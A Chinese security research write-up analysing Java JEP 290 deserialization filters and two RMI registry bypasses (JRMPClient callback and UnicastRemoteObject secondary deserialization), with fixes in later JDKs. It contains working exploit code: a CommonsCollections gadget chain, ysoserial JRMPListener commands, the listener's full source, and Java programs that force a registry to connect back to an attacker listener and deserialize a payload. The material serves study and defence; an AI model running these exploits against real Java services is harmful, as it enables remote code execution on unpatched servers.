JEP 290绕过:JRMPClient与二次反序列化分析
前言:
在之前的文章中介绍了 RMI 机制可能遭受反序列化漏洞攻击的几种情况,但那是在没有 JEP 290 机制的前提下进行的。JEP 290 是在 Java9 中新增的安全特性,为反序列化流程提供了检验和过滤机制,并且该特性向前移植到了 JDK 6/7/8 中。
所以这篇文章我们一起来学习一下JEP 290的原理以及绕过
参考文章:
- JAVA RMI 反序列化攻击 & JEP290 Bypass分析-先知社区
- [JEP290 Bypass - bxhhf](https://bxhhf.github.io/2025/09/23/yuque-hexo-post/JEP290 Bypass/#三-绕过(8u121-8u231))
- RMI Bypass Jep290(Jdk8u231) 反序列化漏洞分析 - 360CERT
- JEP290的基本概念 - Panda | 热爱安全的理想少年
- RMI-JEP290的分析与绕过-安全KER - 安全资讯平台
- 【技术干货】RMI-JEP290的分析与绕过 - 知乎
- [漏洞篇 - ysoserial 的 JRMP 模块分析 - 妙尽璇机](https://changeyourway.github.io/2025/07/25/Java 安全/漏洞篇-ysoserial的JRMP模块分析/#JRMP-协议介绍)
- RMI JRMP JEP290 LDAP基础梳理 | 1diot9’s Blog
- 浅谈 JEP290 | Drunkbaby’s Blog
JEP 290介绍
JEP 290 的核心过程就是序列化客户端通过实现 ObjectInputFilter 接口来创建一个过滤器,并调用 setObjectInputFilter 方法将它设置到 ObjectInputStream 中。这个过滤器会在反序列化过程中被调用,对即将反序列化的类进行检验和过滤,然后返回 ACCEPTED、REJECTED 或者 UNDECIDED 这几个状态
JEP 290 主要的特点如下:
- 提供灵活的机制,让开发者可以通过黑白名单限制要反序列化的类;
- 反序列化时可以设置指标来限制反序列化的深度和复杂度;
- 为 RMI 远程对象提供类验证机制;
- 过滤器不能修改或继承 ObjectInputStream 的现存子类;
- 定义一个可以通过 properties 或者文件来配置的全局过滤器。
适用范围:
- Java™ SE Development Kit 8, Update 121 (JDK 8u121)
- Java™ SE Development Kit 7, Update 131 (JDK 7u131)
- Java™ SE Development Kit 6, Update 141 (JDK 6u141)
JEP290 具体内容:
限制的情况:
- 反序列化类数组时的数组元素数 ( arrayLength )
- 每个嵌套对象的深度( depth )
- 当前数量对象引用 ( references ) 的数量
- 当前消耗的字节数 ( streamBytes )
支持 3 种配置过滤器的方式
- 自定义过滤器
- 进程范围过滤器(也称为全局过滤器)
- 用于 RMI 注册表和分布式垃圾收集 (DGC)使用的内置过滤器
自定义过滤器
当反序列化要求与整个应用程序中的任何其他反序列化过程不同时,就会出现自定义过滤器的配置场景;可以通过实现
ObjectInputFilter接口并覆盖checkInput(FilterInfo filterInfo)方法来创建自定义过滤器
JRMPClient 反杀
测试
测试版本:JDK1.8.0_121
导入cc3.2.1:
1
2
3
4
5
6
7
8
<dependencies>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>测试代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
public class UserServerEval {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] {String.class},
new Object[] {"open -a Calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "Threezh1");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class AnnotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = AnnotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class);
cons.setAccessible(true);
InvocationHandler evalObject = (InvocationHandler) cons.newInstance(java.lang.annotation.Retention.class, outerMap);
Remote proxyEvalObject = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[] { Remote.class }, evalObject));
Registry registry = LocateRegistry.createRegistry(3333);
Registry registry_remote = LocateRegistry.getRegistry("127.0.0.1", 3333);
registry_remote.bind("HelloRegistry", proxyEvalObject);
System.out.println("rmi start at 3333");
}
}服务端攻击注册中心这里用了 CC5 加动态代理(因为 bind 绑定的必须是 Remote,需要借助 proxy 动态代理)
启动服务端,利用bind攻击注册中心时,发现出现报错 filter status: REJECTED,这个地方就是JEP290 发挥了作用。

bind 绑定的是 proxy 创建的恶意对象,注册中心反序列化的时候就会阻拦
分析报错原因
查看 filter 的检测机制
在
ObjectInputStream.setInternalObjectInputFilter1
2
3
4
5
6
7
8
9
10
11
12private final void setInternalObjectInputFilter(ObjectInputFilter filter) { SecurityManager sm = System.getSecurityManager(); if (sm != null) { sm.checkPermission(new SerializablePermission("serialFilter")); } // Allow replacement of the process-wide filter if not already set if (serialFilter != null && serialFilter != ObjectInputFilter.Config.getSerialFilter()) { throw new IllegalStateException("filter can not be set more than once"); } this.serialFilter = filter; }前面if就是 权限校验 以及 判断是否已经设置了过滤器
最后将传入的
filter赋给this.serialFilter。在此之后的反序列化过程中,所有读取的类都会经过这个过滤器的checkInput校验。根据对应关系,直接看 RegistryImpl_Skel#dispatch 中的 case 0,对应着 bind 方法
但是在 JDK 8u121 中不再需要通过 Skeleton 类进行硬编码派发,而是直接通过反射或生成的字节码在
RegistryImpl内部处理。当你在代码中调用
LocateRegistry.createRegistry(1099)时,JVM 默认创建的是一个不需要 Skeleton 的注册中心实体。请求进入服务端后,直接由sun.rmi.registry.RegistryImpl.dispatch方法处理,而不是sun.rmi.registry.RegistryImpl_Skel.dispatch。RegistryImpl构造方法出现方法引用的简写:

内部要是存在过滤器,转到
checkInput
checkInput以接口的身份传到下面我们说的UnicastServerRef构造方法中首先到了
RegistryImpl方法处,可以看到,实例化UnicastServerRef时第二个参数传入的是RegistryImpl::registryFilter。传入之后的值赋值给了this.Filter

看一下上面提到的
registryFilter
这里的
registryFilter默认为null,可以先不管这个判断,后面返回的内容相当于配置了一个白名单,当传入的类不属于白名单的内容时,则会返回REJECTED,否则就会返回ALLOWED。白名单:
1
2
3
4
5
6
7
8
9String.class Number.class Remote.class Proxy.class UnicastRef.class RMIClientSocketFactory.class RMIServerSocketFactory.class ActivationID.class UID.class而这里,我们的
sun.reflect.annotation.AnnotationInvocationHandler类并不在这些白名单中,所以会被过滤
绕过复现
思考了在 RMI 的流程当中,哪一步能够绕过 JEP290 的检测,最终是 JRMP 的这一步,能够绕过,从原理图来说的话应该是这样

先用 ysoserial 开启 JRMP 3333 端口的监听
- 用
ysoserial启动一个恶意的JRMPListener(CommonCollections1的链在1.8下用不了,所以这里用了CommonCollections5的) - 启动注册中心
- 启动Client调用
bind()操作 - 注册中心被反序列化攻击
1
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections5 "Calc"
- 用
服务端监听1099
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29package org.example; import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Proxy; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.ObjID; import java.rmi.server.RemoteObjectInvocationHandler; import java.util.Random; public class BypassJEP290 { public static void main(String[] args) throws RemoteException, IllegalAccessException, InvocationTargetException, InstantiationException, ClassNotFoundException, NoSuchMethodException, AlreadyBoundException { Registry reg = LocateRegistry.getRegistry("localhost",1099); // rmi start at 2222 ObjID id = new ObjID(new Random().nextInt()); TCPEndpoint te = new TCPEndpoint("127.0.0.1", 3333); // JRMPListener's port is 3333 UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); Registry proxy = (Registry) Proxy.newProxyInstance(BypassJEP290.class.getClassLoader(), new Class[] { Registry.class }, obj); reg.bind("Hello",proxy); } }
这个 payload 的原理就是伪造了一个
UnicastRef用于跟注册中心通信,我们从bind()方法开始分析一下这一整个流程。
绕过分析

我们通过
getRegistry时获得的注册中心,其实就是一个封装了UnicastServerRef对象的对象
当我们调用
bind方法后,会通过UnicastRef对象中存储的信息与注册中心进行通信
通过 ref 与注册中心通信,并将绑定的对象名称以及要绑定的远程对象发过去,注册中心在后续会对应进行反序列化
具体的反序列化可以看之前写的反序列化基础
yso 中的 JRMPClient
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/JRMPListener.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317package ysoserial.exploit; import java.io.BufferedInputStream; import java.io.BufferedOutputStream; import java.io.DataInputStream; import java.io.DataOutputStream; import java.io.IOException; import java.io.InputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.io.ObjectStreamClass; import java.io.OutputStream; import java.io.Serializable; import java.net.InetSocketAddress; import java.net.ServerSocket; import java.net.Socket; import java.net.SocketException; import java.net.URL; import java.rmi.MarshalException; import java.rmi.server.ObjID; import java.rmi.server.UID; import java.util.Arrays; import javax.management.BadAttributeValueExpException; import javax.net.ServerSocketFactory; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import sun.rmi.transport.TransportConstants; import ysoserial.payloads.ObjectPayload.Utils; import ysoserial.payloads.util.Reflections; /** * Generic JRMP listener * * Opens up an JRMP listener that will deliver the specified payload to any * client connecting to it and making a call. * * @author mbechler * */ @SuppressWarnings ( { "restriction" } ) public class JRMPListener implements Runnable { private int port; private Object payloadObject; private ServerSocket ss; private Object waitLock = new Object(); private boolean exit; private boolean hadConnection; private URL classpathUrl; public JRMPListener ( int port, Object payloadObject ) throws NumberFormatException, IOException { this.port = port; this.payloadObject = payloadObject; this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port); } public JRMPListener (int port, String className, URL classpathUrl) throws IOException { this.port = port; this.payloadObject = makeDummyObject(className); this.classpathUrl = classpathUrl; this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port); } public boolean waitFor ( int i ) { try { if ( this.hadConnection ) { return true; } System.err.println("Waiting for connection"); synchronized ( this.waitLock ) { this.waitLock.wait(i); } return this.hadConnection; } catch ( InterruptedException e ) { return false; } } /** * */ public void close () { this.exit = true; try { this.ss.close(); } catch ( IOException e ) {} synchronized ( this.waitLock ) { this.waitLock.notify(); } } public static final void main ( final String[] args ) { if ( args.length < 3 ) { System.err.println(JRMPListener.class.getName() + " <port> <payload_type> <payload_arg>"); System.exit(-1); return; } final Object payloadObject = Utils.makePayloadObject(args[ 1 ], args[ 2 ]); try { int port = Integer.parseInt(args[ 0 ]); System.err.println("* Opening JRMP listener on " + port); JRMPListener c = new JRMPListener(port, payloadObject); c.run(); } catch ( Exception e ) { System.err.println("Listener error"); e.printStackTrace(System.err); } Utils.releasePayload(args[1], payloadObject); } public void run () { try { Socket s = null; try { while ( !this.exit && ( s = this.ss.accept() ) != null ) { try { s.setSoTimeout(5000); InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress(); System.err.println("Have connection from " + remote); InputStream is = s.getInputStream(); InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is); // Read magic (or HTTP wrapper) bufIn.mark(4); DataInputStream in = new DataInputStream(bufIn); int magic = in.readInt(); short version = in.readShort(); if ( magic != TransportConstants.Magic || version != TransportConstants.Version ) { s.close(); continue; } OutputStream sockOut = s.getOutputStream(); BufferedOutputStream bufOut = new BufferedOutputStream(sockOut); DataOutputStream out = new DataOutputStream(bufOut); byte protocol = in.readByte(); switch ( protocol ) { case TransportConstants.StreamProtocol: out.writeByte(TransportConstants.ProtocolAck); if ( remote.getHostName() != null ) { out.writeUTF(remote.getHostName()); } else { out.writeUTF(remote.getAddress().toString()); } out.writeInt(remote.getPort()); out.flush(); in.readUTF(); in.readInt(); case TransportConstants.SingleOpProtocol: doMessage(s, in, out, this.payloadObject); break; default: case TransportConstants.MultiplexProtocol: System.err.println("Unsupported protocol"); s.close(); continue; } bufOut.flush(); out.flush(); } catch ( InterruptedException e ) { return; } catch ( Exception e ) { e.printStackTrace(System.err); } finally { System.err.println("Closing connection"); s.close(); } } } finally { if ( s != null ) { s.close(); } if ( this.ss != null ) { this.ss.close(); } } } catch ( SocketException e ) { return; } catch ( Exception e ) { e.printStackTrace(System.err); } } private void doMessage ( Socket s, DataInputStream in, DataOutputStream out, Object payload ) throws Exception { System.err.println("Reading message..."); int op = in.read(); switch ( op ) { case TransportConstants.Call: // service incoming RMI call doCall(in, out, payload); break; case TransportConstants.Ping: // send ack for ping out.writeByte(TransportConstants.PingAck); break; case TransportConstants.DGCAck: UID u = UID.read(in); break; default: throw new IOException("unknown transport op " + op); } s.close(); } private void doCall ( DataInputStream in, DataOutputStream out, Object payload ) throws Exception { ObjectInputStream ois = new ObjectInputStream(in) { @Override protected Class<?> resolveClass ( ObjectStreamClass desc ) throws IOException, ClassNotFoundException { if ( "[Ljava.rmi.server.ObjID;".equals(desc.getName())) { return ObjID[].class; } else if ("java.rmi.server.ObjID".equals(desc.getName())) { return ObjID.class; } else if ( "java.rmi.server.UID".equals(desc.getName())) { return UID.class; } throw new IOException("Not allowed to read object"); } }; ObjID read; try { read = ObjID.read(ois); } catch ( java.io.IOException e ) { throw new MarshalException("unable to read objID", e); } if ( read.hashCode() == 2 ) { ois.readInt(); // method ois.readLong(); // hash System.err.println("Is DGC call for " + Arrays.toString((ObjID[])ois.readObject())); } System.err.println("Sending return with payload for obj " + read); out.writeByte(TransportConstants.Return);// transport op ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl); oos.writeByte(TransportConstants.ExceptionalReturn); new UID().write(oos); BadAttributeValueExpException ex = new BadAttributeValueExpException(null); Reflections.setFieldValue(ex, "val", payload); oos.writeObject(ex); oos.flush(); out.flush(); this.hadConnection = true; synchronized ( this.waitLock ) { this.waitLock.notifyAll(); } } @SuppressWarnings({"deprecation"}) protected static Object makeDummyObject (String className) { try { ClassLoader isolation = new ClassLoader() {}; ClassPool cp = new ClassPool(); cp.insertClassPath(new ClassClassPath(Dummy.class)); CtClass clazz = cp.get(Dummy.class.getName()); clazz.setName(className); return clazz.toClass(isolation).newInstance(); } catch ( Exception e ) { e.printStackTrace(); return new byte[0]; } } public static class Dummy implements Serializable { private static final long serialVersionUID = 1L; } }主要在这个地方
1
2
3
4
5
6
7
8
9
10
11// 构造“远程引用”(UnicastRef) ObjID id = new ObjID(new Random().nextInt()); // RMI registry TCPEndpoint te = new TCPEndpoint(host, port);// 这里的 host/port 是攻击者的 JRMPListener 地址 UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); // 包装“调用处理器”(RemoteObjectInvocationHandler) RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);//RemoteObjectInvocationHandler JDK 自带的,专门处理远程对象的调用。在 JEP 290 的白名单内。这意味着注册中心(Registry)会允许反序列化这个对象。 // 生成“动态代理”(Proxy) Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] { Registry.class }, obj);//将这个处理器包装成一个 Registry 类型的代理对象。 return proxy;总结:
- 它利用了 白名单内的类(
RemoteObjectInvocationHandler)作为跳板。 - 它不直接提供 Payload,而是提供一个 “下载地址”(通过
UnicastRef指向攻击者的端口)。 - 它让受害者自己去取“毒药”回来吃,从而完美绕过了 JEP 290 对第一层反序列化的严格过滤。
调用栈:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30readObject:455, RemoteObject (java.rmi.server) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) invokeReadObject:1170, ObjectStreamClass (java.io) readSerialData:2178, ObjectInputStream (java.io) readOrdinaryObject:2069, ObjectInputStream (java.io) readObject0:1573, ObjectInputStream (java.io) defaultReadFields:2287, ObjectInputStream (java.io) readSerialData:2211, ObjectInputStream (java.io) readOrdinaryObject:2069, ObjectInputStream (java.io) readObject0:1573, ObjectInputStream (java.io) readObject:431, ObjectInputStream (java.io) // 从此处开始,会遇到很多字节码不匹配的问题 dispatch:92, RegistryImpl_Skel (sun.rmi.registry) oldDispatch:469, UnicastServerRef (sun.rmi.server) dispatch:301, UnicastServerRef (sun.rmi.server) run:200, Transport$1 (sun.rmi.transport) run:197, Transport$1 (sun.rmi.transport) doPrivileged:-1, AccessController (java.security) serviceCall:196, Transport (sun.rmi.transport) handleMessages:573, TCPTransport (sun.rmi.transport.tcp) run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) run:-1, 1330984495 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5) doPrivileged:-1, AccessController (java.security) run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) runWorker:1149, ThreadPoolExecutor (java.util.concurrent) run:624, ThreadPoolExecutor$Worker (java.util.concurrent) run:748, Thread (java.lang)- 它利用了 白名单内的类(
一路跟进到
sun.rmi.transport.LiveRef#read
这里把 payload 里所传入的
LiveRef解析到var5变量处,里面包含了ip与端口信息(JRMPListener 的端口)。这些信息将用于后面注册中心与 JRMP 端建立通信。跟进
saveRef()方法,里面做了一个映射,其建立了一个TCPEndpoint到ArrayList<LiveRef>的映射关系。
到这里 JRMP 的通信流程基本结束了,接着再回到
dispatch()方法,在调用了readObject方法之后调用了var2.releaseInputStream();
跟进
releaseInputStream()方法,调用了this.in.registerRefs()方法
判断了当前保存的 Ref 是否为空,再获取当前 Ref,这个 Ref 实际上就是创建的 JRMP 连接,再跟进
registerRefs()方法var2这里返回的是 DGCClient 对象,里边同样封装了我们的端口信息

接着看到
registerRefs方法中的this.makeDirtyCall(var2, var3);,跟进一下
里面主要是做了数据处理,将原本保存了 EndPoint 的 var1 —— HashSet 数组转换为 ObjID,同时,调用了
this.dgc.dirty()方法
在
dirty()方法中调用wirteObject()方法后,会用invoke()将数据发出去。
invoke()方法实现的过程就是从 socket 连接中先读取了输入,然后直接反序列化,此时的反序列化并没有设置 filter(白名单),所以这里可以直接导致注册中心 rce,所以我们可以伪造一个 socket 连接并把我们恶意序列化的对象发过去,这也就是当时用 ysoserial 开启的 JRMP
修复
在 8u231 版本及以上的 DGCImpl_Stub#dirty 方法中多了一个 setObjectInputFilter 的过程,又会被 JEP290 check 到了
二次反序列化 (Unsafe 绕过)
JDK 8u231~8u240
在上面的 Bypass 中,UnicastRef 类用了一层包装,通过递归的形式触发反序列化;通过 DGCClient 向 JRMPListener 发起 JRMP 请求,而这条 Gadget 是直接利用一次反序列化发起 JRMP 请求。
利用链如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
客户端发送数据 --> 服务端反序列化(RegistryImpl_Skle#dispatch)
UnicastRemoteObject#readObject -->
UnicastRemoteObject#reexport -->
UnicastRemoteObject#exportObject --> overload
UnicastRemoteObject#exportObject -->
UnicastServerRef#exportObject --> ...
TCPTransport#listen -->
TcpEndpoint#newServerSocket -->
RMIServerSocketFactory#createServerSocket --> Dynamic Proxy(RemoteObjectInvocationHandler)
RemoteObjectInvocationHandler#invoke -->
RemoteObjectInvocationHandler#invokeMethod -->
UnicastRef#invoke --> (Remote var1, Method var2, Object[] var3, long var4)
StreamRemoteCall#executeCall -->
ObjectInputSteam#readObject --> "pwn"绕过分析
UnicastRemoteObject 作为反序列化的入口,看他的readObject

进到
reexport
这里我们在 exp 中会设置 ssf,进入第二个分支,
UnicastRemoteObject#exportObject这里把 port、csf、ssf 作为构造方法参数传入 UnicastServerRef2

看构造函数

其实它里面是包装了一层 LiveRef
1
2
3public UnicastServerRef2(int var1, RMIClientSocketFactory var2, RMIServerSocketFactory var3) { super(new LiveRef(var1, var2, var3)); }再来到面返回的
return sref.exportObject(obj, null, false);
这部分在”Registry 创建”已经有过分析了,在这里会创建 RegistryImpl_Stub、RegistryImpl_Skel 对象,最终调用到TCPTransport#listen 方法创建监听栈
直接跟入TCPTransport#listen

var1 是一个 TcpEndpoint 对象
跟入
TcpEndpoint#newServerSocket方法
在这里调用了之前提到的 ssf 的方法,这里有一层动态代理,通过 RemoteObjectInvocationHandler 代理 RMIServerSocketFactory 接口,然后把生成的代理对象设置为该 ssf
所以我们来到了
RemoteObjectInvocationHandler.invoke前面多个 if 都不满足,直接到return

进
invokeRemoteMethod
就出现了我们上面提到的
UnicastRef.invoke
无论 RMI Registry、RMI Client、RMI Server、DGCClient 的任意两者通信,它们发起 JRMP 请求都利用了 UnicastRef 类
第二点:服务端反序列化参数之后,会向客户端传值,如果服务端反序列化成功,会发送
byte值1给客户端,如果发生一些错误,就会发送byte值2给客户端。在 UnicastRef.invoke 方法中让 Registry 向 JRMPListener 发起了 JRMP 请求,进行数据交互

来到了 StreamRemoteCall.executeCall:查看case对于byte传值的具体逻辑

发现在case 2的时候会触发反序列化
再次反序列化
JRMPListener 发来的 payload,而这个地方再反序列化的时候没有设置白名单过滤器
绕过复现
问题:
调用RegistryImpl_Stub.bind的时候,进行writeObject的时候,出现了问题

进行writeObject的时候,存在保护机制:
writeObject 的内部逻辑:当 writeObject 被调用时,它会触发 ObjectOutputStream 的标准流程。在真正把对象变成字节码之前,它会检查是否需要“替换”对象。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
private void writeObject0(Object obj, boolean unshared)
throws IOException
{
boolean oldMode = bout.setBlockDataMode(false);
depth++;
try {
// handle previously written and non-replaceable objects
int h;
if ((obj = subs.lookup(obj)) == null) {
writeNull();
return;
} else if (!unshared && (h = handles.lookup(obj)) != -1) {
writeHandle(h);
return;
} else if (obj instanceof Class) {
writeClass((Class) obj, unshared);
return;
} else if (obj instanceof ObjectStreamClass) {
writeClassDesc((ObjectStreamClass) obj, unshared);
return;
}
// check for replacement object
Object orig = obj;
Class<?> cl = obj.getClass();
ObjectStreamClass desc;
for (;;) {
// REMIND: skip this check for strings/arrays?
Class<?> repCl;
desc = ObjectStreamClass.lookup(cl, true);
if (!desc.hasWriteReplaceMethod() ||
(obj = desc.invokeWriteReplace(obj)) == null ||
(repCl = obj.getClass()) == cl)
{
break;
}
cl = repCl;
}
if (enableReplace) {
Object rep = replaceObject(obj);
if (rep != obj && rep != null) {
cl = rep.getClass();
desc = ObjectStreamClass.lookup(cl, true);
}
obj = rep;
}
这个地方enableReplace默认为true,为true则到replaceObject
接下来就走到了MarshalOutputStream.replaceObject:
1
2
3
4
5
6
7
8
9
10
protected final Object replaceObject(Object var1) throws IOException {
if (var1 instanceof Remote && !(var1 instanceof RemoteStub)) {
Target var2 = ObjectTable.getTarget((Remote)var1);
if (var2 != null) {
return var2.getStub();
}
}
return var1;
}检测我们要序列化的obj,是否实现Remote/RemoteStub,由于UnicastRemoteObject实现了Remote,没有实现RemoteStub,于是会进入判断,就会替换我们的obj,以至于反序列化的时候不能还原我们构造的类。
所以,需要把enableReplace改为false。这里可以自己实现重写RegistryImpl_Stub,将bind方法进行修改,在序列化之前,通过反射,把enableReplace值进行修改。
exp
1
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections6 'calc'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55public class exp { public static void main(String[] args) throws Exception { UnicastRemoteObject payload = getPayload(); Registry registry = LocateRegistry.getRegistry(1099); bindReflection("pwn", payload, registry); } static UnicastRemoteObject getPayload() throws Exception { ObjID id = new ObjID(new Random().nextInt()); TCPEndpoint te = new TCPEndpoint("localhost", 9999); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); System.getProperties().put("sun.misc.ProxyGenerator.saveGeneratedFiles", "true"); RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(ref); RMIServerSocketFactory factory = (RMIServerSocketFactory) Proxy.newProxyInstance( handler.getClass().getClassLoader(), new Class[]{RMIServerSocketFactory.class, Remote.class}, handler ); Constructor<UnicastRemoteObject> constructor = UnicastRemoteObject.class.getDeclaredConstructor(); constructor.setAccessible(true); UnicastRemoteObject unicastRemoteObject = constructor.newInstance(); Field field_ssf = UnicastRemoteObject.class.getDeclaredField("ssf"); field_ssf.setAccessible(true); field_ssf.set(unicastRemoteObject, factory); return unicastRemoteObject; } //对于bind问题的解决 static void bindReflection(String name, Object obj, Registry registry) throws Exception { Field ref_filed = RemoteObject.class.getDeclaredField("ref"); ref_filed.setAccessible(true); UnicastRef ref = (UnicastRef) ref_filed.get(registry); Field operations_filed = RegistryImpl_Stub.class.getDeclaredField("operations"); operations_filed.setAccessible(true); Operation[] operations = (Operation[]) operations_filed.get(registry); RemoteCall remoteCall = ref.newCall((RemoteObject) registry, operations, 0, 4905912898345647071L); ObjectOutput outputStream = remoteCall.getOutputStream(); Field enableReplace_filed = ObjectOutputStream.class.getDeclaredField("enableReplace"); enableReplace_filed.setAccessible(true); enableReplace_filed.setBoolean(outputStream, false); outputStream.writeObject(name); outputStream.writeObject(obj); ref.invoke(remoteCall); ref.done(remoteCall); } }
成功
修复
在 jdk 8u241 中进行了修复,在 RemoteObjectInvocationHandler.invokeRemoteMethod:

声明要调用的方法的类,必须实现 Remote 接口,而 RMIServerSocketFactory 类没有实现该接口,于是会直接抛出异常。
总结
对于上面两个漏洞
JRMPClient 反杀
利用的是白名单的内部类 实现 远程调用,以递归的形式触发反序列化
通过 DGCClient 向 JRMPListener 发起 JRMP 请求
二次反序列化
enableReplace改为false之后ssf(即恶意Proxy对象)原样序列化并发送。- 反序列化
UnicastRemoteObject(白名单),实现在本地还原了这个对象,但这个对象内部“寄生”了一个你伪造的RMIServerSocketFactory(即那个代理对象)。 UnicastRemoteObject触发之后,自动触发reexportObject(重新导出)。 为了导出,调用注入的代理工厂。代理工厂通过RemoteObjectInvocationHandler触发UnicastRef.invoke,迫使受害者主动去连接你的攻击机(9999 端口)。StreamRemoteCall.executeCall()读取 9999 端口传回的数据。这里会发生第二次 readObject()
| 特性 | JRMPClient 反杀 (8u121) | UnicastRemoteObject 二次反序列化 (8u231/240) |
|---|---|---|
| 绕过手段 | 直接利用白名单类。利用 UnicastRef 在反序列化时会自动建立连接的特性。 |
利用白名单类 + 反射。利用 UnicastRemoteObject 的自动导出逻辑。 |
| 关键动作 | 递归触发:在反序列化参数时,直接让受害者连接攻击者。 | 逻辑触发:在对象还原后,利用“重新导出”逻辑劫持工厂类。 |
| 解决替换问题 | 通常不需要特别处理 replaceObject。 |
必须通过反射将 enableReplace 设为 false,否则恶意 ssf 会丢失。 |
| 攻击路径 | RegistryImpl -> DGCClient -> JRMPListener |
UnicastRemoteObject -> ssf.proxy -> JRMPListener |
| 爆炸位置 | 服务端处理 RMI 请求的参数还原阶段。 | 服务端执行底层 executeCall 的返回读取阶段。 |